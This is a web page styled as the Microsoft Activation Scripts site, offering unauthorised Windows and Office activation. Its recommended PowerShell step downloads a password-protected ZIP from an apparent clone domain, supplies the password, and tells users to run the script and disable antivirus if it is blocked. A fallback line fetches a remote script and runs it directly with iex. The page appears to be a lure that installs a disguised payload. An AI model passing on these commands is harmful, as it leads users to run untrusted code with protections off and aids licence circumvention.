An open-source Windows and Office activator featuring HWID, Ohook, TSforge, and Online KMS activation methods, along with advanced troubleshooting.
Activation Methods
Method 1: PowerShell (Recommended)
This method is the most convenient and works on Windows 8.1, 10, and 11.
- Click the Start Menu, type
PowerShell, and open it. - Copy and paste the code below and press Enter.
$z="$env:TEMP\MAS.zip"; irm https://massgrave-mirror-clone.lovable.app/downloads/Microsoft-Activation-Scripts.zip -OutFile $z; explorer $z # Password: WYqejXiqBi97
- When Explorer opens with the ZIP, enter password
WYqejXiqBi97to extract it, then runMAS_AIO.cmd. - In the menu that appears, type the number corresponding to one of the Green options.
Troubleshooting the PowerShell method
If the command is blocked:
Some ISPs block the URL. Use this command to bypass DNS blocks (Windows 10/11 only):
iex (curl.exe -s --doh-url https://1.1.1.1/dns-query https://get.activated.win | Out-String)
If you receive a TLS/SSL Error (Older Windows):
If you are on an old build of Windows 8.1 or 10, run this command before the main command:
[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12
Method 2: Traditional (Offline)
Use this method if you prefer downloading a file or cannot use the PowerShell method.
- Download the script:
- MAS_AIO.cmd (Direct script)
- MAS_AIO.zip (If the direct script is blocked by your browser)
- Extract the downloaded ZIP using password:
WYqejXiqBi97 - Run the
MAS_AIO.cmdfile. - In the menu that appears, type the number corresponding to one of the Green options.
- Note: the ZIP is password-protected — you MUST enter
WYqejXiqBi97to extract it. If your antivirus blocks the file, temporarily disable it.
Tips
- Some ISPs/DNS providers block access to our domains. You can bypass this by enabling DNS-over-HTTPS (DoH) in your browser.
- Having trouble? Open the troubleshooting guide.
- To activate additional products such as Office for macOS, Visual Studio, RDS CALs, and Windows XP, see the unsupported products activation guide.
- To run the scripts in unattended mode, see the command line switches reference.
Notes
- The
irmcommand in PowerShell downloads a script from a specified URL, and theiexcommand executes it. - Always double-check the URL before executing the command and verify the source is trustworthy when manually downloading files.
- Be cautious of third parties spreading malware disguised as MAS by altering the URL in the PowerShell command.
MAS Latest Release
Latest Release: v3.11 (2-May-2026)
GitHub / Azure DevOps / Self-hosted Git
Features
- HWID (Digital License): Permanently activate Windows.
- Ohook: Permanently activate Office.
- TSforge: Permanently activate Windows, ESU, and Office.
- Online KMS: Activate Windows/Office for 180 days (Lifetime with renewal task).
- Advanced activation troubleshooting.
- $OEM$ folders for pre-activation.
- Change Windows edition.
- Change Office edition.
- Check Windows/Office activation status.
- Available in All-In-One and separate file versions.
- Fully open source and based on batch scripts.
- Fewer antivirus detections.
Activations Summary
| Activation Type | Supported Product | Activation Period | Is Internet Needed? |
|---|---|---|---|
| HWID | Windows 10-11 | Permanent | Yes |
| Ohook | Office | Permanent | No |
| TSforge | Windows / ESU / Office | Permanent | Yes, needed on build 26100 and later |
| Online KMS | Windows / Office | 180 Days (Lifetime with renewal task) | Yes |
For more details, see the respective pages in the documentation and the activation comparison chart.
To activate unsupported products such as Office on Mac, see the unsupported products activation guide.
Screenshots


